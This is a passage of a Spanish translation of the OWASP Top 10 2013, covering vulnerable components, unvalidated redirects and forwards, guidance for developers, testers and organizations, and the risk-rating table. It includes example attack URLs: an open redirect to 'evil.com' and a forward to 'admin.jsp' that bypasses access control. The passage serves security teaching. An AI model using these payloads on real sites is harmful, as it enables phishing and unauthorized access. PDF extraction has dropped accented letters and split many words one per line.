estn volviendo fciles de buscar.
Una opcin es no usar componentes que no ha codicado. Pero eso
no es realista. La mayora de los proyectos de componentes no crean
parches de vulnerabilidades de las versiones ms an=guas. A
cambio, la mayora sencillamente corrige el problema en la versin
siguiente. Por lo tanto, actualizar a esta nueva versin es cr=co.
Proyectos de soNware debieran tener un proceso para:
1.
Iden=car todos los componentes y la versin que estn
ocupando, incluyendo dependencias (ej: El plugin de versin).
Para determinar si es vulnerable necesita buscar en estas bases de
datos, as como tambin mantenerse al tanto de la lista de correos
del proyecto y anuncios de cualquier cosa que pueda ser una
vulnerabilidad, si uno de sus componentes =ene una vulnerabilidad,
debe evaluar cuidadosamente si es o no vulnerable revisando si su
cdigo u=liza la parte del componente vulnerable y si el fallo puede
resultar en un impacto del cual cuidarse.
2.
Revisar la seguridad del componente en bases de datos
pblicas, lista de correos del proyecto, y lista de correo de
seguridad, y mantenerlos actualizados.
3.
Establecer pol=cas de seguridad que regulen el uso de
componentes, como requerir ciertas prc=cas en el desarrollo
de soNware, pasar test de seguridad, y licencias aceptables.
4.
Sera apropiado, considerar agregar capas de seguridad
alrededor del componente para deshabilitar funcionalidades no
u=lizadas y/o asegurar aspectos dbiles o vulnerables del
componente.
Ejemplos de Escenarios de Ataques
Referencias
Los componentes vulnerables pueden causar casi cualquier =po de
riesgo imaginable, desde trivial a malware sos=cado diseado para
un obje=vo especco. Casi siempre los componentes =enen todos
los privilegios de la aplicacin, debido a esto cualquier falla en un
componente puede ser serio, Los siguientes componentes
vulnerables fueron descargados 22M de veces en el 2011.
OWASP Dependency Check (for Java libraries)
OWASP SafeNuGet (for .NET libraries thru NuGet)
Good Component Prac=ces Project
OWASP
Apache CXF Authen=ca=on Bypass- Debido a que no otorgaba un
token de iden=dad, los atacantes podan invocar cualquier
servicio web con todos los permisos.(Apache CXF es un
framework de servicios, no confundir con el servidor de
aplicaciones de Apache.)
Externas
Spring Remote Code Execu=on El abuso de la implementacin
en Spring del componente Expression Languaje permi= a los
atacantes ejecutar cdigo arbitrario, tomando el control del
servidor. Cualquier aplicacin que u=lice cualquiera de esas
bibliotecas vulnerables es suscep=ble de ataques.
Agregando preocupacin por la seguridad en componentes de
cdigo abierto
Ambos componentes son directamente accesibles por el usuario de
la aplicacin. Otras bibliotecas vulnerables, usadas ampliamente en
una aplicacin, puede ser mas di|ciles de explotar.
La desafortunada realidad de bibliotecas inseguras
Seguridad del soNware de cdigo abierto
MITRE Vulnerabilidades comunes y exposicin
Ejemplo de asignacin de vulnerabilidades corregidas en
Ac=veRecord, de Ruby on Rails2
A10 Redirecciones y reenvos no vlidos
Vectores
de Ataque
Agentes
de
Amenaza
Especco
de
la
Aplicacin
Explotabilidad
PROMEDIO
Considere
la
probabilidad
de
que
alguien
pueda
engaar
a
los
usuarios
a
enviar
una
pe=cin
a
su
aplicacin
web.
Cualquier
aplicacin
o
cdigo
HTML
al
que
acceden
sus
usuarios
podra
realizar
este
engao
Un atacante crea enlaces a
redirecciones no validadas
y engaa a las vc=mas
para que hagan clic en
dichos enlaces. Las
vc=mas son ms
propensas a hacer clic
sobre ellos ya que el enlace
lleva a una aplicacin de
conanza. El atacante
=ene como obje=vo los
des=nos inseguros para
evadir los controles de
seguridad.
Debilidades
de
Seguridad
Prevalencia
POCO
COMN
Deteccin
FCIL
Con frecuencia, las aplicaciones redirigen a los
usuarios a otras pginas, o u=lizan des=nos
internos de forma similar. Algunas veces la pgina
de des=no se especica en un parmetro no
validado, permi=endo a los atacantes elegir dicha
pgina.
Detectar redirecciones sin validar es fcil. Se trata
de buscar redirecciones donde el usuario puede
establecer la direccin URL completa. Vericar
reenvos sin validar resulta ms complicado ya que
apuntan a pginas internas.
Impactos
Tcnicos
Impactos
al
negocio
Impacto
MODERADO
Especco
de
la
Aplicacin
/
Negocio
Estas
redirecciones
pueden
intentar
instalar
cdigo
malicioso
o
engaar
a
las
vc=mas
para
que
revelen
contraseas
u
otra
informacin
sensible.
El
uso
de
reenvos
inseguros
puede
permi=r
evadir
el
control
de
acceso.
Considere
el
valor
de
negocio
de
conservar
la
conanza
de
sus
usuarios.
Qu
pasara
si
sus
usuarios
son
infectados
con
cdigo
malicioso?
Qu
ocurrira
si
los
atacantes
pudieran
acceder
a
funciones
que
slo
debieran
estar
disponibles
de
forma
interna?
Soy vulnerable?
Cmo prevenirlo?
La mejor forma de determinar si una aplicacin dispone de
redirecciones y re-envos no validados, es :
El uso seguro de reenvos y redirecciones puede realizarse de varias
maneras:
1.
Revisar el cdigo para detectar el uso de redirecciones o
reenvos (llamados transferencias en .NET). Para cada uso,
iden=car si la URL obje=vo se incluye en el valor de algn
parmetro. Si es as, si la URL obje=vo no es validada con una
lista blanca, usted es vulnerable..
1.
Simplemente evitando el uso de redirecciones y reenvos.
2.
Si se u=liza, no involucrar parmetros manipulables por el
usuario para denir el des=no. Generalmente, esto puede
realizarse.
Adems, recorrer la aplicacin para observar si genera
cualquier redireccin (cdigos de respuesta HTTP 300-307,
picamente 302). Analizar los parmetros facilitados antes de la
redireccin para ver si parecen ser una URL de des=no o un
recurso de dicha URL. Si es as, modicar la URL de des=no y
observar si la aplicacin redirige al nuevo des=no.
3.
Si los parmetros de des=no no pueden ser evitados, asegrese
que el valor suministrado sea vlido y autorizado para el
usuario.
2.
3.
Se recomienda que el valor de cuaIquier parmetro de des=no
sea un valor de mapeo, el lugar de la direccin URL real o una
porcin de esta y en el cdigo del servidor traducir dicho valor
a la direccin URL de des=no. Las aplicaciones pueden u=lizar
ESAPI para sobreescribir el mtodo sendRedirect() y asegurarse
que todos los des=nos redirigidos son seguros.
Si el cdigo no se encuentra disponible, se deben analizar todos
los parmetros para ver si forman parte de una redireccin o
reenvo de una URL de des=no y probar lo que hacen estos.
Evitar estos problemas resulta extremadamente importante ya que
son un blanco preferido por los phishers que intentan ganarse la
conanza de los usuarios.
Ejemplos de Escenarios de Ataque
Referencias
Escenario #1: La aplicacin =ene una pgina llamada redirect.jsp
que recibe un nico parmetro llamado url. El atacante compone
una URL maliciosa que redirige a los usuarios a una aplicacin que
realiza phishing e instala cdigo malicioso.
OWASP
OWASP Ar=cle on Open Redirects
hvp://www.example.com/redirect.jsp?url=evil.com
Escenario #2: La aplicacin u=liza reenvos para redirigir pe=ciones
entre dis=ntas partes de la aplicacin. Para facilitar esto, algunas
pginas u=lizan un parmetro para indicar donde debera ser
dirigido el usuario si la transaccin es sa=sfactoria. En este caso, el
atacante compone una URL que evadir el control de acceso de la
aplicacin y llevar al atacante a una funcin de administracin a la
que en una situacin habitual no debera tener acceso.
Externas
hvp://www.example.com/boring.jsp?fwd=admin.jsp
ESAPI SecurityWrapperResponse sendRedirect() method
CWE Entry 601 on Open Redirects
WASC Ar=cle on URL Redirector Abuse
Google blog ar=cle on the dangers of open redirects
OWASP Top 10 for .NET ar=cle on Unvalidated Redirects and
Forwards
+D
Qu ms hay para Desarrolladores
Establezca y UClice Procesos de Seguridad RepeCbles y Controles Estndar de Seguridad
Tanto si usted es nuevo en el campo de la seguridad en aplicaciones web como si ya se encuentra familiarizado con estos riesgos, la tarea de
producir una aplicacin web segura o corregir una ya existente puede ser di|cil. Si debe ges=onar un gran nmero de aplicaciones, puede
resultar desalentador.
Para ayudar a las organizaciones y desarrolladores a reducir los riesgos de seguridad de sus aplicaciones de un modo rentable, OWASP ha
producido un gran nmero de recursos gratuitos y abiertos, que los puede usar para ges=onar la seguridad de las aplicaciones en su
organizacin. A con=nuacin, se muestran algunos de los muchos recursos que OWASP ha producido para ayudar a las organizaciones a
generar aplicaciones web seguras. En la siguiente pgina, presentamos recursos adiciones de OWASP que pueden ayudar a las organizaciones a
vericar la seguridad de sus aplicaciones.
Requisitos
de
Seguridad
en
Aplicaciones
Para
producir
aplicaciones
web
seguras,
debe
denir
qu
signica
seguro
para
esa
aplicacin.
OWASP
recomienda
usar
Estndar
de
Vericacin
de
Seguridad
en
Aplicaciones
(ASVS)
OWASP
como
una
gua
para
ajustar
los
requisitos
de
seguridad
de
su(s)
aplicacin(es).
Si
est
externalizando,
considere
el
Anexo:
Contrato
de
SoNware
Seguro.
Arquitectura
de
seguridad
en
aplicaciones
Es
mucho
ms
rentable
disear
la
seguridad
desde
el
principio
que
aadir
seguridad
a
su(s)
aplicacin(es).
OWASP
recomienda
la
Gua
de
Desarrollo
OWASP,
y
las
hojas
de
prevencin
de
trampas
OWASP
como
puntos
de
inicio
p=mos
para
guiarlo
en
el
diseo
de
la
seguridad.
Controles
de
Seguridad
Estndar
Construir controles de seguridad fuertes y u=lizables es excepcionalmente di|cil. Un conjunto de controles
estndar de seguridad simplican radicalmente el desarrollo de aplicaciones seguras. OWASP recomienda el
proyecto Enterprise Security API (ESAPI) como un modelo para las APIs de seguridad necesarias para producir
aplicaciones web seguras. ESAPI proporciona implementaciones de referencia en Java, .NET, PHP,
Classic ASP, Python, y Cold Fusion.
Ciclo
de
vida
de
desarrollo
seguro
Para
mejorar
el
proceso
que
su
organizacin
u=liza
al
construir
aplicaciones,
OWASP
recomienda
el
Modelo
de
Garana
de
la
Madurez
del
SoNware
OWASP
SoNware
Assurance
Maturity
Model
(SAMM).
Este
modelo
ayuda
a
las
organizaciones
a
formular
e
implementar
estrategias
para
el
soNware
seguro
adaptado
a
los
riesgos
especcos
para
su
organizacin.
Educacin
de
la
Seguridad
en
Aplicaciones
El
proyecto
educacional
OWASP
proporciona
materiales
de
formacin
para
ayudar
a
educar
desarrolladores
en
seguridad
en
aplicaciones
web,
y
ha
compilado
una
gran
nmero
de
presentaciones
educa=vas.
Para
una
formacin
prc=ca
acerca
de
vulnerabilidades,
pruebe
los
proyectos
OWASP
WebGoat,
WebGoat.net,
o
el
OWASP
Broken
Web
Applica=on
Project.
Para
mantenerse
al
da,
acuda
a
una
Conferencia
AppSec
OWASP,
Conferencia
de
Entrenamiento
OWASP
o
a
reuniones
de
los
captulos
OWASP
locales.
Hay
un
gran
nmero
de
recursos
adicionales
OWASP
para
su
uso.
Visite
por
favor
la
Pgina
de
Proyectos
OWASP,
que
lista
todos
los
proyectos
de
OWASP,
organizados
por
la
calidad
de
la
distribucin
de
cada
proyecto
(Versin
Final,
Beta,
o
Alfa).
La
mayora
de
recursos
de
OWASP
estn
disponibles
en
nuestro
wiki,
y
muchos
otros
documentos
del
OWASP
se
pueden
encargar
tanto
en
copia
|sica
como
en
eBooks.
+V
Prximos pasos para Testers
Organcese
Para
vericar
la
seguridad
de
una
aplicacin
web
que
ha
desarrollado,
o
que
est
considerando
comprar,
OWASP
recomienda
que
revise
el
cdigo
de
la
aplicacin
(si
est
disponible),
y
tambin
evaluar
la
aplicacin.
OWASP
recomienda
una
combinacin
de
anlisis
de
seguridad
de
cdigo
y
pruebas
de
intrusin
siempre
que
sean
posibles,
ya
que
le
permita
aprovechar
las
fortalezas
de
ambas
tcnicas,
y
adems
los
dos
enfoques
se
complementan
entre
s.
Las
herramientas
para
ayudar
en
el
proceso
de
vericacin
pueden
mejorar
la
eciencia
y
efec=vidad
de
un
analista
experto.
Las
herramientas
de
evaluacin
de
OWASP
estn
enfocadas
en
ayudar
a
un
experto
en
ser
ms
ecaz,
ms
que
en
tratar
de
automa=zar
el
proceso
de
anlisis.
Cmo
estandarizar
la
vericacin
de
seguridad
de
las
aplicaciones:
Para
ayudar
a
las
organizaciones
a
desarrollar
cdigo
de
forma
consistente
y
con
un
nivel
denido
de
rigor,
al
momento
de
evaluar
la
seguridad
de
las
aplicaciones
web,
OWASP
ha
producido
los
estndares
de
vericacin
(ASVS)
de
seguridad
en
aplicaciones.
Este
documento
dene
un
estndar
de
vericacin
mnimo
para
realizar
pruebas
de
seguridad
en
aplicaciones
web.
OWASP
le
recomienda
u=lizar
los
ASVS
como
orientacin
no
solamente
para
vericar
la
seguridad
de
una
aplicacin
web,
sino
tambin
para
evaluar
que
tcnicas
son
ms
adecuadas
,
y
para
ayudarle
a
denir
y
seleccionar
un
nivel
de
rigor
en
la
comprobacin
de
seguridad
de
una
aplicacin
web.
OWASP
le
recomienda
tambin
u=lizar
los
ASVS
para
ayudar
a
denir
y
seleccionar
cualquiera
de
los
servicios
de
evaluacin
de
aplicaciones
web
que
puede
obtener
de
un
proveedor
externo.
Suite
de
Herramientas
de
Evaluacin:
El
OWASP
Live
CD
Project
ha
reunido
algunas
de
las
mejores
herramientas
de
seguridad
de
cdigo
abierto
en
un
nico
sistema
de
arranque.
Los
desarrolladores
Web,
analistas
y
profesionales
de
seguridad
pueden
arrancar
desde
este
Live
CD
y
tener
acceso
inmediato
a
una
suite
de
pruebas
de
seguridad
completa.
No
se
requiere
instalacin
o
conguracin
para
u=lizar
las
herramientas
proporcionadas
en
este
CD.
Revisin de Cdigo
Pruebas de seguridad e intrusin
Analizar el cdigo fuente es la manera ms slida para vericar
si una aplicacin es segura. Realizar tests sobre una aplicacin
slo puede demostrar que una aplicacin es insegura.
Revisin de Cdigo: Como un aadido a la
Gua del Desarrollador OWASP, y la Gua de Pruebas, OWASP
ha producido la Gua de Revisin de Cdigo para ayudar a los
desarrolladores y especialistas en aplicaciones de seguridad a
comprender cmo revisar la seguridad de una aplicacin web
de modo ecaz y eciente mediante la revisin del cdigo.
Existen numerosos problemas de seguridad de aplicacin web,
como los errores de inyeccin, que son mucho ms fciles de
encontrar a travs de revisin de cdigo, que mediante
pruebas externas..
Herramientas de revisin de cdigo: OWASP ha estado
haciendo algunos trabajos prometedores en el rea de ayudar
a los expertos en la realizacin de anlisis de cdigo, pero
estas herramientas se encuentran an en sus primeras fases.
Los autores de estas herramientas las emplean a diario para
realizar sus revisiones de cdigo de seguridad, pero los
usuarios no expertos pueden encontrar estas herramientas un
poco di|ciles de usar. Estas herramientas incluyen
CodeCrawler, Orizon, y O2. Solamente O2 se ha mantenido
como proyecto ac=vo desde el Top 10 2010. Existen otras
herrmientas como FindBugs con su plugin FindSecurityBugs.
Tests de aplicacin: El proyecto OWASP ha creado la
Gua de pruebas para ayudar a los desarrolladores, analistas y
especialistas en aplicaciones de seguridad a comprender cmo
probar eciente y de modo ecaz la seguridad en aplicaciones web.
Esta amplia gua, con docenas de colaboradores, ofrece una amplia
cobertura sobre muchos temas de comprobacin de seguridad de
aplicacin web. As como la revisin de cdigo =ene sus puntos
fuertes, tambin los =enen las pruebas de seguridad. Es muy
convincente cuando puedes demostrar que una aplicacin es
insegura demostrando su explotabilidad. Tambin hay muchos
problemas de seguridad, en par=cular la seguridad proporcionada
por la infraestructura de las aplicaciones, que simplemente no
pueden ser detectados por una revisin del cdigo, ya que no es la
aplicacin quien est proporcionando la seguridad..
Herramientas de Intrusin de Aplicacin: WebScarab, que es uno
de los proyectos ms u=lizados de OWASP, es un proxy de
aplicacin de pruebas web. Permite que un analista de seguridad
interceptar las solicitudes de aplicacin web, de modo que el
analista puede descubrir cmo funciona la aplicacin, y luego le
permite enviar solicitudes de prueba para ver si la aplicacin
responde de modo seguro a las pe=ciones. Esta herramienta es
especialmente ecaz a la hora de ayudar a un analista en la
iden=cacin de vulnerabilidades XSS, de auten=cacin, de control
de acceso. ZAP posee un ac=ve scanner y es libre.
+O
Prximos pasos para las
organizaciones
Comience hoy su programa de seguridad en aplicaciones
La seguridad en las aplicaciones ya no es opcional. Entre el aumento de los ataques y presiones de cumplimiento norma=vo, las organizaciones
deben establecer un mecanismo ecaz para asegurar sus aplicaciones. Dado el asombroso nmero de aplicaciones y lneas de cdigo que ya
estn en produccin, muchas organizaciones estn luchando para conseguir ges=onar el enorme volumen de vulnerabilidades. OWASP
recomienda a las organizaciones establecer un programa de seguridad de las aplicaciones para aumentar el conocimiento y mejorar la
seguridad en todo su catlogo de aplicaciones. Conseguir un nivel de seguridad de las aplicaciones requiere que diversas partes de una
organizacin trabajen juntos de manera eciente, incluidos los departamentos de seguridad y auditora, desarrollo de soNware, ges=n
ejecu=va y negocio. Se requiere que la seguridad sea visible, para que todos los involucrados puedan ver y entender la postura de la
organizacin en cuanto a seguridad en aplicaciones. Tambin es necesario centrarse en las ac=vidades y resultados que realmente ayuden a
mejorar la seguridad de la empresa mediante la reduccin de riesgo de la forma ms rentable posible. Algunas de las ac=vidades clave en la
efec=va aplicacin de los programas de seguridad incluyen:
Comience
Establecer un programa de seguridad de aplicacin y impulsar su adopcin.
Realizar un anlisis de brecha de capacidad entre su organizacin y los empleados para denir las reas clave de
mejora y un plan de ejecucin.
Obtener la aprobacin de la direccin y establecer una campaa de concienciacin de seguridad en las
aplicaciones para toda la organizacin IT.
Enfoque
basado
en
el
catlogo
de
riesgos
Iden=car y establecer prioridades en su catlogo de aplicaciones en base a al riesgo inherente.
Crear un modelo de perlado de riesgo de las aplicaciones para medir y priorizar las aplicaciones de su catlogo.
Establecer directrices para garan=zar y denir adecuadamente los niveles de cobertura y rigor requeridos.
Establecer un modelo de calicacin de riesgo comn con un conjunto consistente de factores de impacto y
probabilidad que reejen la tolerancia al riesgo de su organizacin.
Cuente
con
una
base
slida
Establecer
un
conjunto
de
pol=cas
y
estndares
que
proporcionen
una
base
de
referencia
de
seguridad
de
las
aplicaciones,
a
las
cuales
todo
el
equipo
de
desarrollo
pueda
adherirse.
Denir
un
conjunto
de
controles
de
seguridad
reu=lizables
comn
que
complementen
esas
pol=cas
y
estndares
y
proporcionen
una
gua
en
su
uso
en
el
diseo
y
desarrollo
Establecer
un
perl
de
formacin
en
seguridad
en
aplicaciones
que
sea
un
requisito,
dirigido
a
los
diferentes
roles
y
=pologas
de
desarrollo.
Integre
la
Seguridad
en
los
Procesos
Existentes
Denir e integrar ac=vidades de implementacin de seguridad y vericacin en los procesos opera=vos y de
desarrollo existentes. Estas ac=vidades incluyen el Modelado de Amenazas, Diseo y Revisin seguros, Desarrollo
Seguro y Revisin de Cdigo, Pruebas de Intrusin, Remediacin, etc.
Para tener exito, proporcionar expertos en la materia y servicios de apoyo a los equipos de desarrollo y de
proyecto.
Proporcione
una
visin
de
gesCn
Ges=onar
a
travs
de
mtricas.
Manejar
las
decisiones
de
mejora
y
provisin
de
recursos
econmicos
basndose
en
las
mtricas
y
el
anlisis
de
los
datos
capturados.
Las
mtricas
incluyen
el
seguimiento
de
las
prc=cas/
ac=vidades
de
seguridad,
vulnerabilidades
presentes,
mi=gadas,
cobertura
de
la
aplicacin,
densidad
de
defectos
por
=po
y
can=dad
de
instancias,
etc.
Analizar
los
datos
de
las
ac=vidades
de
implementacin
y
vericacin
para
buscar
el
orgen
de
la
causa
y
patrones
en
las
vulnerabilidades
para
poder
conducir
as
mejoras
estratgicas
en
la
organizacin
+R
Acerca de los riesgos
Lo importante son los riesgos, no las debilidades
Aunque las versiones del Top 10 de OWASP del 2007 y las anteriores se centrasen en iden=car las vulnerabilidades ms comunes, el Top 10 de
OWASP siempre se ha organizado en base a los riesgos. Esto ha causado en la gente una confusin ms que razonable a la hora de buscar una
taxonoma de vulnerabilidades herm=ca. La versin 2010 del Top 10 de OWASP clarica el mo=vo por el cual centrarse en el riesgo,
explicitando, cmo las amenazas, vectores de ataque, debilidades, impactos tcnicos y de negocio, se combinan para desencadenar un riesgo.
Esta versin del TOP 10 de OWASP sigue la misma metodologa.
La metodologa de asignacin de riesgo para el Top 10 est basada en la Metodologa de Evaluacin de Riesgos OWASP (
Risk Ra=ng Methodology). Para cada elemento del Top 10, se ha es=mado el riesgo pico que cada debilidad introduce en una aplicacin web
pica, examinando factores de probabilidad comunes y factores de impacto para cada debilidad comn. Seguidamente, se ha ordenado el Top
10 segn aquellas vulnerabilidades que normalmente suponen un mayor riesgo para la aplicacin.
La Metodologa de Evaluacin de Riesgos OWASP dene numerosos factores que ayudan a calcular el riesgo de una vulnerabilidad iden=cada.
Sin embargo, el Top 10 debe basarse en generalidades en vez de vulnerabilidades concretas en aplicaciones reales. Es por ello que nunca se
podr ser tan preciso como el dueo de un sistema cuando calcula los riesgos para su(s) aplicacin(es). Usted est mejor capacitado para juzgar
la importancia de sus aplicaciones y datos, cules son sus agentes de amenaza, y cmo su sistema ha sido construido y est siendo operado.
Nuestra metodologa incluye tres factores de probabilidad para cada vulnerabilidad (frecuencia, posibilidad de deteccin y facilidad de
explotacin) y un factor de impacto (impacto tcnico). La frecuencia de una debilidad es un factor que normalmente no es necesario calcular.
Para los datos sobre la frecuencia, se han recopilado las estads=cas de frecuencia de un conjunto de organizaciones diferentes (como se indica
en la seccin de Agradecimientos en la pgina 3) y se han promediado estos datos para construir un Top 10 de probabilidades de existencia
segn su frecuencia. Esta informacin fue posteriormente combinada con los otros dos factores de probabilidad (posibilidad de deteccin y
facilidad de explotacin) para calcular una tasa de probabilidad para cada debilidad. Esta tasa fue mul=plicada por el impacto tcnico promedio
es=mado para cada elemento para as poder obtener una clasicacin de riesgo total para cada elemento en el Top 10.
Cabe destacar que esta aproximacin no toma en cuenta la probabilidad del agente de amenaza. Tampoco se =ene en cuenta ninguno de los
detalles tcnicos asociados a su aplicacin en par=cular. Cualquiera de estos factores podran afectar signica=vamente la probabilidad total de
que un atacante encontrase y explotase una vulnerabilidad especca. Esta clasicacin tampoco =ene en cuenta el impacto real sobre su
negocio. Su organizacin deber decidir cunto riesgo de seguridad en las aplicaciones est dispuesta a asumir dada su cultura, la industria y el
entorno norma=vo. El propsito del Top 10 de OWASP no es hacer este anlisis de riesgos por usted.
El siguiente diagrama ilustra los clculos sobre el riesgo del punto A3: Cross-Site Scrip=ng, como ejemplo. Los XSS son tan frecuentes que se
jus=ca el valor de MUY DIFUNDIDO a 0. El resto de riesgos se enmarcan entre difundidos a poco comunes (valores de 1 a 3).
Agentes
de
Amenaza
Especco
de
la
Aplicacin
Vectores
de
Ataque
Explotabilidad
PROMEDIO
Debilidades
de
Seguridad
Frecuencia
MUY
DIFUNDIDO
0
1
Impactos
Tcnicos
Deteccin
FCIL
1
*
Impacto
MODERADO
2
2
Impactos
al
negocio
Especco
de
la
aplicacin/negocio
+F
Detalles acerca de los factores de
riesgo
Resumen de los factores de riesgo Top 10
La siguiente tabla presenta un resumen del Top 10 2013 de Riesgos de Seguridad en Aplicaciones, y los factores de riesgo que hemos asignado a
cada uno. Estos factores fueron determinados basndose en las estads=cas disponibles y en la experiencia del equipo OWASP TOP 10. Para
entender estos riesgos para una aplicacin u organizacin par=cular, debe considerar sus propios agentes de amenaza e impactos especcos al
negocio. Incluso debilidades de soNware escandalosas podran no representar un riesgo serio si no hay agentes de amenaza en posicin de
ejecutar el ataque necesario o el impacto al negocio podra ser insignicante para los ac=vos involucrados.
Riesgo
Agentes
de
Amenaza
Vectores
de
Ataque
Debilidades
de
Seguridad
Explotabilidad
Prevalecencia
Detectabilidad
Impactos
Tcnicos
Impactos
al
negocio
Impacto
A1-Inyeccin
Especco
de
la
Aplicacin
FCIL
COMN
PROMEDIO
SEVERO
Especco
de
la
Aplicacin
A2-AutenCcacin
Especco
de
la
Aplicacin
PROMEDIO
DIFUNDIDA
PROMEDIO
SEVERO
Especco
de
la
Aplicacin
A3-XSS
Especco
de
la
Aplicacin
PROMEDIO
MUY DIFUNDIDA
FCIL
MODERADO
Especco
de
la
Aplicacin
A4-Ref.
Directa
insegura
Especco
de
la
Aplicacin
FCIL
COMN
FCIL
MODERADO
Especco
de
la
Aplicacin
A5-Defectuosa
Conguracin
Especco
de
la
Aplicacin
FCIL
COMN
FCIL
MODERADO
Especco
de
la
Aplicacin
A6-Exposicin
de
Datos
Sensibles
Especco
de
la
Aplicacin
DIFCIL
POCO COMN
PROMEDIO
SEVERO
Especco
de
la
Aplicacin
A7-Ausencia
Control
Funciones
Especco
de
la
Aplicacin
FCIL
COMN
PROMEDIO
MODERADO
Especco
de
la
Aplicacin
A8-CSRF
Especco
de
la
Aplicacin
PROMEDIO
COMN
FCIL
MODERADO
Especco
de
la
Aplicacin
A9-Componentes
Vulnerables
Especco
de
la
Aplicacin
PROMEDIO
DIFUNDIDA
DIFCIL
MODERADO
Especco
de
la
Aplicacin
A10-Redirecciones
Especco
de
no
validadas
la
Aplicacin
PROMEDIO
POCO COMN
FCIL
MODERADO
Especco
de
la
Aplicacin
Riesgos adicionales a considerar
El TOP 10 cubre un amplio espectro, pero hay otros riesgos que debera considerar y evaluar en su organizacin. Algunos de estos han
aparecido en versiones previas del OWASP TOP 10, y otros no, incluyendo nuevas tcnicas de ataque que estn siendo iden=cadas
constantemente. Otros riesgos de seguridad de aplicacin importantes (listados en orden alfab=co) que debera tambin considerar incluyen:
An=-automa=zacin insuciente (CWE-799)
Clickjacking (tcnica de ataque recin descubierta en el 2008)
Denegacin de servicio
Ejecucin de archivos maliciosos (fue parte del Top 10 2007 - Entrada 2007-A3)
Fallas de concurrencia
Falta de deteccin y respuesta a las intromisiones
Filtracin de informacin y Manejo inapropiado de errores ( fue parte del TOP 10 del 2007 - Entrada A6)
Inyeccin de expresiones de lenguaje (CWE-917)
Privacidad de usuario
Registro y responsabilidad insucientes (Relacionado al TOP 10 del 2007 - Entrada A6)
Vulnerabilidad de asignacin masiva (CWE-915)
LOS ICONOS MS ABAJO REPRESENTAN OTRAS VERSIONES
DISPONIBLES DE ESTE LIBRO.
ALFA: Un libro de calidad Alfa es un borrador de trabajo.
La mayor parte del contenido se encuentra en bruto
y en desarrollo hasta el prximo nivel de publicacin.
BETA: Un libro de calidad Beta es el prximo nivel de calidad.
El contenido se encuentra todava en desarrollo hasta la
prxima publicacin.
FINAL: Un libro de calidad Final es el nivel ms alto de calidad,
y es el producto nalizado.
USTED ES LIBRE DE:
copiar, distribuir y ejecutar pblicamente la
obra
hacer obras derivadas
BAJO LAS S IGUIENTES CONDICIONES:
Reconocimiento Debe reconocer los
crditos de la obra de la manera
especicada por el autor o el licenciante
(pero no de una manera que sugiera que
=ene su apoyo o apoyan el uso que hace de
su obra).
Compar=r bajo la misma licencia Si
altera o transforma esta obra, o genera una
obra derivada, slo puede distribuir la obra
generada bajo una licencia idn=ca a sta.
ALFA BETA FINAL
El
proyecto
abierto
de
seguridad
en
aplicaciones
Web
(OWASP
por
sus
siglas
en
ingls)
es
una
comunidad
abierta
y
libre
de
nivel
mundial
enfocada
en
mejorara
la
seguridad
en
las
aplicaciones
de
soNware.
Nuestra
misin
es
hacer
la
seguridad
en
aplicaciones
"visible",
de
manera
que
las
organizaciones
pueden
hacer
decisiones
informadas
sobre
los
riesgos
en
la
seguridad
de
aplicaciones.
Todo
mundo
es
libre
de
par=cipar
en
OWASP
y
en
todos
los
materiales
disponibles
bajo
una
licencia
de
soNware
libre
y
abierto.
La
fundacin
OWASP
es
una
organizacin
sin
nimo
de
lucro
501c3
que
asegura
la
disponibilidad
y
apoyo
permanente
para
nuestro
trabajo.
También podría gustarte
- Clasificacion de Los Metodos AnaliticosDocumento1 páginaClasificacion de Los Metodos Analiticosprimitivo5871% (14)
- PETS - 013 - SO - EH Montaje y Desmontaje de Estructuras MetalicasDocumento4 páginasPETS - 013 - SO - EH Montaje y Desmontaje de Estructuras MetalicasMarco100% (3)
- MSDS CRM LVPLTS QH-17-00865Documento5 páginasMSDS CRM LVPLTS QH-17-00865edwinAún no hay calificaciones
- Tecnicas de Analisis Funcional en La ArquitecturaDocumento28 páginasTecnicas de Analisis Funcional en La ArquitecturaMarle Iquise100% (1)
- Eeid Eeid-412 FormatoalumnotrabajofinalDocumento8 páginasEeid Eeid-412 FormatoalumnotrabajofinalJeancarlos Panduro NeiraAún no hay calificaciones
- 4 Optimizacion Con RestriccionesDocumento48 páginas4 Optimizacion Con RestriccionesappAún no hay calificaciones
- Reporte 1Documento9 páginasReporte 1uliseshodedAún no hay calificaciones
- Ejercicios de AplicaciónDocumento11 páginasEjercicios de AplicaciónJoe Botello100% (1)
- 2142 FaxDocumento4 páginas2142 FaxFranklin LuisAún no hay calificaciones
- PROXMOX, Activar Puertos USB para VMDocumento5 páginasPROXMOX, Activar Puertos USB para VMAlfredo RodriguezAún no hay calificaciones
- Camion Scania - P460C - B8x4EHZDocumento2 páginasCamion Scania - P460C - B8x4EHZRobert Orosco B.50% (2)
- Especificaciones Aws de Metales de AporteDocumento2 páginasEspecificaciones Aws de Metales de Aportejoseymonica2010Aún no hay calificaciones
- Intercambiadores de CalorDocumento2 páginasIntercambiadores de CalorEnriqueAún no hay calificaciones
- Lugares GeometricosDocumento21 páginasLugares GeometricosbkhjbkjnknAún no hay calificaciones
- Lista de Precios Fijaciones Final 2020Documento2 páginasLista de Precios Fijaciones Final 2020INMANTEC SASAún no hay calificaciones
- Caidas Escalonadas Grecya Vega Bravo PDFDocumento10 páginasCaidas Escalonadas Grecya Vega Bravo PDFBRANDONAún no hay calificaciones
- Concetos Generales y Caracteristicas Electricas de ConductoresDocumento58 páginasConcetos Generales y Caracteristicas Electricas de ConductoresERICK OMAR GUANOTASIG CHILUISAAún no hay calificaciones
- Grados de Indeterminación y Grados de LibertadDocumento8 páginasGrados de Indeterminación y Grados de LibertadLuisAún no hay calificaciones
- Tareas Potencia Fluida Examen Ordinario Sabatinos Ene-Ago 2020Documento2 páginasTareas Potencia Fluida Examen Ordinario Sabatinos Ene-Ago 2020Luz CasillasAún no hay calificaciones
- Scania FireDocumento8 páginasScania FireJose AndradeAún no hay calificaciones
- CédulaDocumento8 páginasCédulaCheko Del Angel GonzalezAún no hay calificaciones
- Conexiones EstrellaDocumento15 páginasConexiones EstrellaIsseliitha SanzAún no hay calificaciones
- Manual de Operación y Mantenimiento Gasificador de Biomasa AnkurDocumento95 páginasManual de Operación y Mantenimiento Gasificador de Biomasa AnkurStiven SofanAún no hay calificaciones
- Problema A-32 Acoplados Magnéticamente. ResueltoDocumento4 páginasProblema A-32 Acoplados Magnéticamente. ResueltoGlenda Ureña de ChavezAún no hay calificaciones
- FluidosDocumento3 páginasFluidosAixa GiambellucaAún no hay calificaciones
